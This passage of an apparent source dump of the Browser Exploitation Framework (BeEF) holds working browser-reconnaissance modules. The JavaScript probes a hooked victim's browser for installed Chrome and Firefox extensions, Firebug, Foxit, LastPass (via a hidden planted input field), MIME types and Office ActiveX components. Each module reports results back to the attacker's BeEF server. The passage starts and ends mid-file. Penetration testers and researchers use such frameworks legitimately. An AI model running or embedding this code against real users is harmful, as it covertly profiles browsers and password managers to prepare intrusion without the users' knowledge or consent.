Array(\"ibjjkgadefcajphiihhlbagkkcfnhcij\",\"Big Snow Tricks\"),\n\t\tnew Array(\"nnkeklmkmolipcclpncndnpdgilieafl\",\"stern.de\"),\n\t\tnew Array(\"kohieaegcicdnaabkagajpanjakhekkb\",\"Sports Games Collection\"),\n\t\tnew Array(\"pjlflpphgcocgjlmobgjbfneoemlbmlc\",\"Gravity Guy\"),\n\t\tnew Array(\"mlbpknobcopmnlganinccihoafiblkne\",\"War of Legends\"),\n\t\tnew Array(\"iggmbjghgeahcopdibklblgfkfendefg\",\"NOS Video\"),\n\t\tnew Array(\"pnengefjfhgcceajaepbjhanoojifmog\",\"Writer\"),\n\t\tnew Array(\"gpamkbhofeehomgnflocnjjcmcfibone\",\"Google Project Hosting\"),\n\t\tnew Array(\"nlaohibjpbalcmbphaombidlahpndkdm\",\"Whack a Mole\"),\n\t\tnew Array(\"fhegpdplcdokjeaeibbjgjcgmmadgncb\",\"Radio 105\"),\n\t\tnew Array(\"daaehkjmdmodknldpplikflminiicfal\",\"Bubble Cupid\"),\n\t\tnew Array(\"mfoffpkeihdlakgoebapjamipbkbgmpi\",\"Tennis Doubles - 3D\"),\n\t\tnew Array(\"icojacdaddlajldkicfacgcjncbkieen\",\"Pool Mania\"),\n\t\tnew Array(\"mlbnpnlmfngmlcmkhjpbfokdphfehhjj\",\"ruul. Screen ruler\"),\n\t\tnew Array(\"peconnficnlajdpgfcjfmhjibkoijlbp\",\"G-calize\"),\n\t\tnew Array(\"dofcilnakjpenampigbefbbeekanbfgl\",\"Douban Pulse\"),\n\t\tnew Array(\"djlnllmnlolplmikofclonjoehopgffj\",\"Radio stations from Argentina\"),\n\t\tnew Array(\"fboiibgbjljogjkebjcfhggbiponmpkk\",\"Chrome Voice Control\"),\n\t\tnew Array(\"ogbnemfckmdpkeeccieeahplnemmbcfg\",\"Floor Plan Creator\"),\n\t\tnew Array(\"jadajphjladhhmcjiomkmlihlknbnicc\",\"YourNextFilm\"),\n\t\tnew Array(\"gkpcjgifmcccnfhonphppaikdkamkdgp\",\"The World Smiling\"),\n\t\tnew Array(\"mcojpamlhfgicdibfhfpfaialnlaghbi\",\"Mr MothBall \"),\n\t\tnew Array(\"pfagmcegbaeelbnibmipibkmigipedmk\",\"Elfster\"),\n\t\tnew Array(\"imdilajngppdgdbemeighbingnbmpnpl\",\"Faerie Alchemy HD\"),\n\t\tnew Array(\"pggaepdghiamdelgbgolfggheakmdgon\",\"Falling Sand \"),\n\t\tnew Array(\"jepniedfbdhmplhbjffedeomcaopopob\",\"Pursuit of Hat\"),\n\t\tnew Array(\"dljdanmclaloibaplofjjljkamhdofmg\",\"Doremi\"),\n\t\tnew Array(\"mhaphfncflglmofajgmhlgekgkjefiae\",\"vox.io\"),\n\t\tnew Array(\"foloenejobmljmemkomjcofkdjdnkggn\",\"Radios do Brasil\"),\n\t\tnew Array(\"ekmnknlahnpppljnjacdbpnlpbkckcki\",\"FlyOrDie Four in a Row\"),\n\t\tnew Array(\"aifpigcngkjdlbkjmkmhkhmhaepoielk\",\"Learn European Languages (FREE VERSION)\"),\n\t\tnew Array(\"apdiogojbmdncjdpljocafnigiokgmci\",\"UJAM - Make your music. Be heard.\"),\n\t\tnew Array(\"hljnlfolmbmibdjaikiaepgepgnldclj\",\"Simple Highlighter\"),\n\t\tnew Array(\"ofgppnjcdndocgicmodblmfmbdibefbm\",\"\\u8c46\\u74e3FM \\u7cbe\\u7f8e\\u7248\"),\n\t\tnew Array(\"aomjekmpappghadlogpigifkghlmebjk\",\"Speech Recognizer\"),\n\t\tnew Array(\"ienibllimcjfdingpoihjipomkjnpial\",\"Warzone Tower Defense\"),\n\t\tnew Array(\"jbmoechgcbcngboikkfiojlnefcgjepp\",\"YourNextRead\"),\n\t\tnew Array(\"ojflnhjodgafkhbmblnpkkaomffojpca\",\"The Impossible Quiz\"),\n\t\tnew Array(\"klicmgamjpclmbhppmdeamffedflmkcn\",\"Sand 2\"),\n\t\tnew Array(\"jemlklgaibiijojffihnhieihhagocma\",\"SingleFile Core\"),\n\t\tnew Array(\"mbnhjlkenpmankjjbbolibfcghileiae\",\"Like.fm Music Profile\"),\n\t\tnew Array(\"jldhpllghnbhlbpcmnajkpdmadaolakh\",\"Todoist: To-Do list and Task Manager\"),\n\t\tnew Array(\"lnempicjilmahngopecohbcbldlijkib\",\"Mappeo\"),\n\t\tnew Array(\"ggpeehmipebgblgaokenepkkinmbnipa\",\"NASA Online TV HD\"),\n\t\tnew Array(\"occfbdbgdodefnegmkafdlebmmifikkn\",\"Rally Expert\"),\n\t\tnew Array(\"bjbjfcgehjgipnpgfdnlbodhildpafdf\",\"Dog Hotel\"),\n\t\tnew Array(\"icncamkooinmbehmkeilcccmoljfkdhp\",\"Wolfram|Alpha (Official)\"),\n\t\tnew Array(\"fogikklcokfgmlhjgkgaiehnjdodahbb\",\"Fancy Pants Adventure: World 2\"),\n\t\tnew Array(\"ccmmgijadofegbfojekdglknbeeminej\",\"\\u0442\\u0435\\u043b\\u0435\\u0432\\u0438\\u0437\\u043e\\u0440\"),\n\t\tnew Array(\"napaodofbddcgpbgepkedckklhcmpilc\",\"Flight 3D Aerobatics Training\"),\n\t\tnew Array(\"hiikfoplnkjhoiafgmcobenlfnbphbee\",\"WarLight\"),\n\t\tnew Array(\"mmennkmmgljpjeihfakkbfadfbbfapgm\",\"Formula 3D\"),\n\t\tnew Array(\"pmjcjgbbfaajnfohkokpemdcepngehjg\",\"Pac Man Classic\"),\n\t\tnew Array(\"kkmlkkjojmombglmlpbpapmhcaljjkde\",\"Zhongwen: A Chinese-English Popup Dictionary\"),\n\t\tnew Array(\"knnkddolkkmempomngnbeifoijaokkom\",\"Aviary Color Editor\"),\n\t\tnew Array(\"poehiocknllbldkbpcncbgdafeeaojek\",\"Football Volley Challenge\"),\n\t\tnew Array(\"nijhigeigjmbjpmhelkmfabiaogaplkd\",\"Math Lab\"),\n\t\tnew Array(\"megglpjmadjmghjegnallnhiknjnnjhh\",\"Guitar Chords\"),\n\t\tnew Array(\"llpeeehacmdheefdajbainfmpanommnd\",\"Guia da Semana\"),\n\t\tnew Array(\"abmmkpmdgmnegiciliebkdafhgdaklkl\",\"Volagratis Pilot\"),\n\t\tnew Array(\"eiidclgejnacldolfgpiiffbpapdpfji\",\"ibibo Rummy\"),\n\t\tnew Array(\"clbjclclcokdnbfkhnmiocjcjmdeoeaj\",\"Wikipedia SSL\"),\n\t\tnew Array(\"lmgkpnbfgimlalkolndeccanfnbpogcd\",\"Solve a Cipher!\"),\n\t\tnew Array(\"ncccpckadclahjkmlemjbakodaaaemig\",\"Dragon Age Legends\"),\n\t\tnew Array(\"bjackipnjjjefeppmpbgcdefaplneopj\",\"MyNetDiary Calorie Counter and Food Diary\"),\n\t\tnew Array(\"mkamfeggnihmfbmbidpdmkapjenacmdc\",\"Prince Of Persia\"),\n\t\tnew Array(\"ballhmoamkbbfadiealjmgmhbbnellbc\",\"Toodledo Tasks\"),\n\t\tnew Array(\"liamajdghafnpofaconeimppimbdbhgi\",\"Send to Instapaper\"),\n\t\tnew Array(\"mjkbgbnoikoflalnbnofkfegidffigke\",\"Yoono WebApp\"),\n\t\tnew Array(\"ohncmadoekkdmccmbemflhfjogbpjigc\",\"Hotel Finder by Amazebuy\"),\n\t\tnew Array(\"hnldbiikfjheppkbnjbnkgimnfejifpf\",\"Oogle\"),\n\t\tnew Array(\"gcolaeigjaencllpclbijidbadgkdfde\",\"Orkut Main Kill\"),\n\t\tnew Array(\"jdihnhedcafgpbbbbiohamlkbbjlifdb\",\"Math Motorway\"),\n\t\tnew Array(\"oiabhgfgfhoilflkoicbmnejgjjfmhcg\",\"Photo Collage\"),\n\t\tnew Array(\"odlofbgmekaiejbmlpnnlfaamehffedb\",\"Mike Shadow - I paid for it!\"),\n\t\tnew Array(\"lpnmkolabeomngkkeljdkgnakemkcckm\",\"Hidden Object Games Online\"),\n\t\tnew Array(\"kfoaifmljjopjdffohdndabjeejbnipm\",\"Emqualcinema\"),\n\t\tnew Array(\"ljpaikmjlpddojgcoaejihgoneamafap\",\"Bloons 2\"),\n\t\tnew Array(\"dkpacaoamfanlmkfcalnbbcdbmfcmclf\",\"PocketSmith - Cashflow Forecasting\"),\n\t\tnew Array(\"mcbpblocgmgfnpjjppndjkmgjaogfceg\",\"FireShot: Quick Captures and Annotations\"),\n\t\tnew Array(\"hbenbgblhhlecmfechhfecgioakobfdl\",\"Guitar Tuner\"),\n\t\tnew Array(\"cdliblldgjdficcbflpdknckckdfdkbo\",\"Shogun's Fate\"),\n\t\tnew Array(\"iakncpcejjmfmplodgimgpkhlclagncg\",\"Wlingua - Curso de ingl\\u00e9s\"),\n\t\tnew Array(\"eocaeafeojdmijlfeheaeabellldmbcc\",\"Monster Jobs\"),\n\t\tnew Array(\"hgknnkhbpkjmdfhjhpchcijdjjeajalp\",\"Valentine Mahjong\"),\n\t\tnew Array(\"jhegddohmncgelkehhnigphmloinkinj\",\"Zoho Sheet\"),\n\t\tnew Array(\"ebojakelgejdogaleoeoaadjpefeifen\",\"Mail Checker Minus (Beta)\"),\n\t\tnew Array(\"homldgnlpldcmdflhnabedgkgpmeanhd\",\"Tweet Button for Chrome (by Shareaholic)\"),\n\t\tnew Array(\"hjcccdngnaailhnoflbeficiokgcfaah\",\"Pearltrees\"),\n\t\tnew Array(\"chfghejgpdfifblfijbhnhgnhpmchpom\",\"Google Plus Directory\"),\n\t\tnew Array(\"lganibdddhhoohdchmljgclacnfnkfgb\",\"World Digital Library - UNESCO\"),\n\t\tnew Array(\"ndfkfbdpnknippjjpkdoiadggmohdpfg\",\"Ace Pilots\"),\n\t\tnew Array(\"ddjklapimfghfjjinidpblloipjnnpgb\",\"+Music\"),\n\t\tnew Array(\"deonblningjbcdgiidohkfhajiinphah\",\"USA Streets\"),\n\t\tnew Array(\"nhhdgipkbgjblbgjlbakfffjbffpdblo\",\"FlyOrDie Gomoku\"),\n\t\tnew Array(\"celkoncipomnbmcomjieepceifpcdgdl\",\"StoryLines\"),\n\t\tnew Array(\"nmgcfdmgcfldfkehdgoancleciikdlnf\",\"DeskSMS - Send and Receive Texts Messages\"),\n\t\tnew Array(\"kfjkehmceppcpjoaoegdmffmkdhiegmc\",\"Pinterest Pin It Button (by Shareaholic)\"),\n\t\tnew Array(\"epdnnopdcceagfjiicjceffncileogdn\",\"Virgin Radio Italy\"),\n\t\tnew Array(\"egnlbiigfcfmheinfklfonfgollmjkgc\",\"INFO Lab\"),\n\t\tnew Array(\"bigbpmgpdffelbefknlmefjiejgoinao\",\"Rage Comics\"),\n\t\tnew Array(\"mghenlmbmjcpehccoangkdpagbcbkdpc\",\"Session Manager\"),\n\t\tnew Array(\"femogenllijpkfbckgkllmiekhjipene\",\"\\u4ea6\\u6b4c\"),\n\t\tnew Array(\"pnmeglpffblgeibddiihnafkihmkleje\",\"Aztec Drop\"),\n\t\tnew Array(\"ikijikcfedekifbolhamdccnhnlkhfpf\",\"TheDeadline\"),\n\t\tnew Array(\"lkobmjibnppfleogmodpjgocgdbdiikp\",\"WarTime\"),\n\t\tnew Array(\"inolmjbojghkehmmlbdmpdlmagalddni\",\"Jagran - India No.1 Hindi News Daily\")\n\t);\n\n    var firefox_extensions = {\n            \"Adblock Plus\" : \"chrome://adblockplus/skin/adblockplus.png\",\n            \"Auto Copy\" : \"chrome://autocopy/skin/autocopy.png\",\n            \"ColorZilla\" : \"chrome://colorzilla/skin/logo.png\",\n            \"Customize Google\" : \"chrome://customizegoogle/skin/32x32.png\",\n            \"DownThemAll!\" : \"chrome://dta/content/immagini/icon.png\",\n            \"Faster Fox\" : \"chrome://fasterfox/skin/icon.png\",\n            \"Flash Block\" : \"chrome://flashblock/skin/flash-on-24.png\",\n            \"FlashGot\" : \"chrome://flashgot/skin/icon32.png\",\n            \"Forecastfox\" : \"chrome://forecastfox/skin/images/icon.png\",\n            \"Google Toolbar\" : \"chrome://google-toolbar/skin/icon.png\",\n            \"Greasemonkey\" : \"chrome://greasemonkey/content/status_on.gif\",\n            \"IE Tab\" : \"chrome://ietab/skin/ietab-button-ie16.png\",\n            \"IE View\" : \"chrome://ieview/skin/ieview-icon.png\",\n            \"JS View\" : \"chrome://jsview/skin/jsview.gif\",\n            \"Live HTTP Headers\" : \"chrome://livehttpheaders/skin/img/Logo.png\",\n            \"MeasureIt\" : \"chrome://measureit/skin/measureit.png\",\n            \"SEO For Firefox\" : \"chrome://seo4firefox/content/icon32.png\",\n            \"SEOpen\" : \"chrome://seopen/skin/seopen.png\",\n            \"Search Status\" : \"chrome://searchstatus/skin/cax10.png\",\n            \"Server Switcher\" : \"chrome://switcher/skin/icon.png\",\n            \"StumbleUpon\" : \"chrome://stumbleupon/content/skin/logo32.png\",\n            \"Tab Mix Plus\" : \"chrome://tabmixplus/skin/tmp.png\",\n            \"Torrent-Search Toolbar\" : \"chrome://torrent-search/skin/v.png\",\n            \"User Agent Switcher\" : \"chrome://useragentswitcher/content/logo.png\",\n            \"View Source With\" : \"chrome://viewsourcewith/skin/ff/tb16.png\",\n            \"Web Developer\" : \"chrome://webdeveloper/content/images/logo.png\",\n            \"Unhide Passwords\" : \"chrome://unhidepw/skin/unhidepw.png\",\n            \"UrlParams\" : \"chrome://urlparams/skin/urlparams32.png\",\n            \"NewsFox\" : \"chrome://newsfox/skin/images/home.png\",\n            \"Add N Edit Cookies\" : \"chrome://addneditcookies/skin/images/anec32.png\",\n            \"GTDGmail\" : \"chrome://gtdgmail/content/gtd_lineitem.png\",\n            \"QuickJava\" : \"chrome://quickjava/content/js.png\",\n            \"Adblock Filterset.G Updater\" : \"chrome://unplug/skin/unplug.png\",\n            \"BBCode\" : \"chrome://bbcode/skin/bbcode.png\",\n            \"BugMeNot\" : \"chrome://bugmenot/skin/bugmenot.png\",\n            \"ConQuery\" : \"chrome://conquery/skin/conquery.png\",\n            \"Download Manager Tweak\" : \"chrome://downloadmgr/skin/downloadIcon.png\",\n            \"Extended Cookie Manager\" : \"chrome://xcm/content/allowed.png\",\n            \"FireBug\" : \"chrome://firebug/content/firebug32.png\",\n            \"FoxyTunes\" : \"chrome://foxytunes/skin/logo.png\",\n            \"MR Tech Disable XPI Install Delay\" : \"chrome://disable_xpi_delay/content/icon.png\",\n            \"SessionSaver .2\" : \"chrome://sessionsaver/content/ss.png\",\n            \"spooFX\" : \"chrome://spoofx/skin/main/spoofx.png\",\n            \"Statusbar Clock\" : \"chrome://timestatus/skin/icon.png\",\n            \"Torbutton\" : \"chrome://torbutton/skin/bigbutton_gr.png\",\n            \"UnPlug\" : \"chrome://unplug/skin/unplug.png\",\n            \"View Source Chart\" : \"chrome://vrs/skin/vrssmall.png\",\n            \"XPather\" : \"chrome://xpather/content/iconka.png\",\n            \"WOT\" : \"chrome://wot/skin/fusion/logo.png\",\n            \"LastPass\" : \"chrome://lastpass/skin/vaultdelete.png\",\n    };\n\n\tvar failed = false;\n\tvar detect_chrome_extension = function(addon_id, addon_name) {\n\t\tif (failed) {\n\t\t\treturn false;\n\t\t}\n\n\t\tvar s = document.createElement('script');\n\t\ts.onload = function() {\n\t\t\tbeef.net.send('<%= @command_url %>', <%= @command_id %>, 'extension='+addon_name);\n\t\t}\n\t\ts.onerror = function() {\n\t\t\tthrow 'detect_chrome_extension';\n\t\t}\n\t\ts.src = 'chrome-extension://' + addon_id + '/manifest.json';\n\t\tdocument.body.appendChild(s);\n\t}\n\n    var detect_firefox_extension = function(addon_url, addon_name) {\n\t\tif (failed) {\n\t\t\treturn false;\n\t\t}\n        var img = document.createElement(\"img\");\n        img.setAttribute(\"border\", '0');\n        img.setAttribute(\"width\", '0');\n        img.setAttribute(\"height\", '0');\n        img.setAttribute(\"onload\", \"beef.net.send('<%= @command_url %>', <%= @command_id %>, 'extension=\" + addon_name+ \"');\");\n        img.setAttribute('onerror', 'throw \"detect_firefox_extension\"');\n        img.setAttribute(\"src\", addon_url);\n    }\n\n    if(beef.browser.isC()) {\n        try {\n\n        \twindow.onerror = function (e) {\n\t\t\t\tif (!failed) {\n\t\t\t\t\tfailed = true;\n\t\t\t\t\tif (e.indexOf(\"detect_chrome_extension\") != -1) {\n\t\t\t\t\t\tbeef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=detecting Chrome extensions failed', beef.are.status_error());\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t};\n\n            for (var i=0; i<chrome_extensions.length; i++) {\n                detect_chrome_extension(chrome_extensions[i][0], chrome_extensions[i][1]);\n            }\n        } catch(e) {\n            beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=detecting Chrome extensions failed', beef.are.status_error());\n        }\n    } else if(beef.browser.isFF()) {\n        try {\n\n\t\t\twindow.onerror = function (e) {\n\t\t\t\tif (!failed) {\n\t\t\t\t\tfailed = true;\n\t\t\t\t\tif (e.indexOf(\"detect_firefox_extension\") != -1) {\n\t\t\t\t\t\tbeef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=detecting Firefox extensions failed', beef.are.status_error());\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t};\n\n            for (var i in firefox_extensions) {\n                detect_firefox_extension(firefox_extensions[i], i);\n            }\n        } catch(e) {\n            beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=detecting Firefox extensions failed', beef.are.status_error());\n        }\n    } else {\n      beef.debug('[Detect Extensions] Unspported browser');\n      beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=unsupported browser', beef.are.status_error());\n    }\n\n});\n\n"
  },
  {
    "path": "modules/browser/detect_extensions/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        detect_extensions:\n            enable: true\n            category: \"Browser\"\n            name: \"Detect Extensions\"\n            description: \"This module detects extensions installed in Google Chrome and Mozilla Firefox.\"\n            authors: [\"koto\", \"bcoles\", \"nbblrr\"]\n            target:\n                working:\n                    FF:\n                        min_ver: 1\n                        max_ver: 50\n                    C:\n                        min_ver: 1\n                        max_ver: 18\n                not_working: [\"All\"]\n"
  },
  {
    "path": "modules/browser/detect_extensions/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n# More info:\n#\thttp://blog.kotowicz.net/2012/02/intro-to-chrome-addons-hacking.html\n#\thttp://jeremiahgrossman.blogspot.fr/2006/08/i-know-what-youve-got-firefox.html\n#\nclass Detect_extensions < BeEF::Core::Command\n  def post_execute\n    content = {}\n    content['extension'] = @datastore['extension']\n    save content\n  end\nend\n"
  },
  {
    "path": "modules/browser/detect_firebug/command.js",
    "content": "//\n// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n\tvar result = \"Not in use or not installed\";\n\tif (window.console && (window.console.firebug || window.console.exception)) result = \"Enabled and in use!\";\n\tbeef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"firebug=\"+result);\n});\n\n"
  },
  {
    "path": "modules/browser/detect_firebug/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        detect_firebug:\n            enable: true\n            category: \"Browser\"\n            name: \"Detect FireBug\"\n            description: \"This module checks if the Mozilla Firefox Firebug extension is being use to inspect the current window.\"\n            authors: [\"bcoles\"]\n            target:\n                 working: [\"FF\"]\n                 not_working: [\"All\"]\n"
  },
  {
    "path": "modules/browser/detect_firebug/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Detect_firebug < BeEF::Core::Command\n  def post_execute\n    content = {}\n    content['firebug'] = @datastore['firebug'] unless @datastore['firebug'].nil?\n    save content\n  end\nend\n"
  },
  {
    "path": "modules/browser/detect_foxit/command.js",
    "content": "//\n// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n\n\tvar result = ( beef.browser.hasFoxit() )? \"Yes\" : \"No\";\n\n\tbeef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"foxit=\"+result);\n\n});\n\n"
  },
  {
    "path": "modules/browser/detect_foxit/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        detect_foxit:\n            enable: true\n            category: \"Browser\"\n            name: \"Detect Foxit Reader\"\n            description: \"This module will check if the browser has Foxit Reader Plugin.\"\n            authors: [\"javuto\"]\n            target:\n                working: [\"All\"]\n"
  },
  {
    "path": "modules/browser/detect_foxit/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Detect_foxit < BeEF::Core::Command\n  def post_execute\n    content = {}\n    content['foxit'] = @datastore['foxit']\n    save content\n    BeEF::Core::Models::BrowserDetails.set(@datastore['beefhook'], 'HasFoxit', Regexp.last_match(1)) if @datastore['results'] =~ /^foxit=(Yes|No)/\n  end\nend\n"
  },
  {
    "path": "modules/browser/detect_lastpass/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function () {\n\tvar result = \"Not in use or not installed\";\n\t// The following base64 encoded string represents the LastPass inline PNG which is inserted into user/pass form fields\n\tvar base64PNG = \"iVBORw0KGgoAAAANSUhEUgAAABAAAAASCAYAAABSO15qAAAAAXNSR0IArs4c6QAAAPhJREFUOBHlU70KgzAQPlMhEvoQTg6OPoOjT+JWOnRqkUKHgqWP4OQbOPokTk6OTkVULNSLVc62oJmbIdzd95NcuGjX2/3YVI/Ts+t0WLE2ut5xsQ0O+90F6UxFjAI8qNcEGONia08e6MNONYwCS7EQAizLmtGUDEzTBNd1fxsYhjEBnHPQNG3KKTYV34F8ec/zwHEciOMYyrIE3/ehKAqIoggo9inGXKmFXwbyBkmSQJqmUNe15IRhCG3byphitm1/eUzDM4qR0TTNjEixGdAnSi3keS5vSk2UDKqqgizLqB4YzvassiKhGtZ/jDMtLOnHz7TE+yf8BaDZXA509yeBAAAAAElFTkSuQmCC\";\n\n\n\tlet createInputField = function () {\n\t\tbeef.debug(\"Module - Detect LastPass: Generating input field\");\n\n\t\treturn new Promise((resolve, reject) => {\n\t\t\tvar input = document.createElement(\"input\");\n\t\t\tinput.type = \"text\";\n\t\t\tinput.id = \"username\";\n\t\t\tinput.name = \"username\";\n\t\t\tinput.setAttribute(\"style\", \"display:none;position:absolute;visibility:hidden;top:-1000px;left:-1000px;border:none;\");\n\t\t\tdocument.body.appendChild(input);\n\t\t\tbeef.debug(\"Module - Detect LastPass: Input field generated\");\n\n\t\t\t// FF requires some interaction to trigger extension function, so we use a timeout to wait 5 seconds in the hope that a user interacts\n\t\t\tif (beef.browser.isFF()) {\n\t\t\t\tsetTimeout(() => {\n\t\t\t\t\tresolve();\n\t\t\t\t}, 5000);\n\t\t\t} else {\n\t\t\t\t// `1 second timout to allow DOM to update\n\t\t\t\tsetTimeout(() => {\n\t\t\t\t\tresolve();\n\t\t\t\t}, 1000);\n\t\t\t}\n\t\t})\n\t}\n\n\tlet detectLastPass = function () {\n\t\tbeef.debug(\"Module - Detect LastPass: Looking for input field\");\n\n\t\treturn new Promise((resolve, reject) => {\n\t\t\t// Detect input form fields with the injected LastPass PNG as background image\n\t\t\tvar bginput = $j('input[style]');\n\t\t\tvar lpdiv = document.getElementById('hiddenlpsubmitdiv');\n\t\t\tif (bginput.length > 0) {\n\t\t\t\tbeef.debug(\"Module - Detect LastPass: Input field with 'style' attribute found: \" + bginput);\n\t\t\t\tfor (var i = 0; i < bginput.length; i++) {\n\t\t\t\t\tbeef.debug(\"Module - Detect LastPass: Number of potential input fields with 'style' attribute found: \" + bginput.length);\n\t\t\t\t\tvar styleContent = bginput[i].getAttribute('style');\n\t\t\t\t\tif (styleContent.includes(base64PNG)) {\n\t\t\t\t\t\tbeef.debug('Module - Detect LastPass: Matching inline PNG detected');\n\t\t\t\t\t\tresult = \"Detected LastPass through presence of inline base64-encoded PNG within input form field\";\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t// Detect presence of LastPass iframe\n\t\t\t} else if ($j(\"iframe[name='LPFrame']\").length > 0) {\n\t\t\t\tbeef.debug('Module - Detect LastPass: Matching iframe found');\n\t\t\t\tresult = \"Detected LastPass through presence of LastPass 'save password' iframe\";\n\t\t\t\t// Below is the older method of LastPass detection method\n\t\t\t} else if (typeof (lpdiv) != 'undefined' && lpdiv != null) {\n\t\t\t\tresult = \"Detected LastPass through presence of the <script> tag with id=hiddenlpsubmitdiv\";\n\t\t\t} else if ($j(\"script:contains(lastpass_iter)\").length > 0) {\n\t\t\t\tresult = \"Detected LastPass through presense of the embedded <script> which includes references to lastpass_iter\";\n\t\t\t}\n\t\t\tresolve();\n\t\t})\n\t}\n\n\tfunction getResult() {\n\t\tbeef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"lastpass=\" + result);\n\t}\n\ncreateInputField().then(detectLastPass).then(getResult);\n\n});\n"
  },
  {
    "path": "modules/browser/detect_lastpass/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        detect_lastpass:\n            enable: true\n            category: \"Browser\"\n            name: \"Detect LastPass\"\n            description: \"This module checks if the LastPass extension is installed and active.\"\n            authors: [\"xntrik\",\"DeezyE\"]\n            target:\n                 not_working: [\"IE\"]\n                 working: [\"All\"]\n"
  },
  {
    "path": "modules/browser/detect_lastpass/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Detect_lastpass < BeEF::Core::Command\n  def post_execute\n    content = {}\n    content['lastpass'] = @datastore['lastpass'] unless @datastore['lastpass'].nil?\n    save content\n  end\nend\n"
  },
  {
    "path": "modules/browser/detect_mime_types/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n\n  if (navigator.mimeTypes) {\n    var mime_types = JSON.stringify(navigator.mimeTypes);\n    beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"mime_types=\" + mime_types, beef.are.status_success());\n    beef.debug(\"[Detect MIME Types] \" + mime_types);\n  } else {\n    beef.debug(\"[Detect MIME Types] Could not retrieve supported MIME types\");\n    beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, 'fail=Could not retrieve supported MIME types', beef.are.status_error());\n  }\n\n});\n\n"
  },
  {
    "path": "modules/browser/detect_mime_types/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        detect_mime_types:\n            enable: true\n            category: \"Browser\"\n            name: \"Detect MIME Types\"\n            description: \"This module retrieves the browser's supported MIME types.\"\n            authors: [\"bcoles\"]\n            target:\n                working: [\"All\"]\n                not_working: [\"IE\"]\n"
  },
  {
    "path": "modules/browser/detect_mime_types/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n\nclass Detect_mime_types < BeEF::Core::Command\n  def post_execute\n    content = {}\n    content['mime_types'] = @datastore['mime_types'] unless @datastore['mime_types'].nil?\n    save content\n  end\nend\n"
  },
  {
    "path": "modules/browser/detect_office/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n            var ma = 1;\n            var mb = 1;\n            var mc = 1;\n            var md = 1;\n            try {\n                ma = new ActiveXObject(\"SharePoint.OpenDocuments.4\")\n            } catch (e) {}\n            try {\n                mb = new ActiveXObject(\"SharePoint.OpenDocuments.3\")\n            } catch (e) {}\n            try {\n                mc = new ActiveXObject(\"SharePoint.OpenDocuments.2\")\n            } catch (e) {}\n            try {\n                md = new ActiveXObject(\"SharePoint.OpenDocuments.1\")\n            } catch (e) {}\n            var a = typeof ma;\n            var b = typeof mb;\n            var c = typeof mc;\n            var d = typeof md;\n            var key = \"No Office Found\";\n            if (a == \"object\" && b == \"object\" && c == \"object\" && d == \"object\") {\n                key = \"Office 2010\"\n            }\n            if (a == \"number\" && b == \"object\" && c == \"object\" && d == \"object\") {\n                key = \"Office 2007\"\n            }\n            if (a == \"number\" && b == \"number\" && c == \"object\" && d == \"object\") 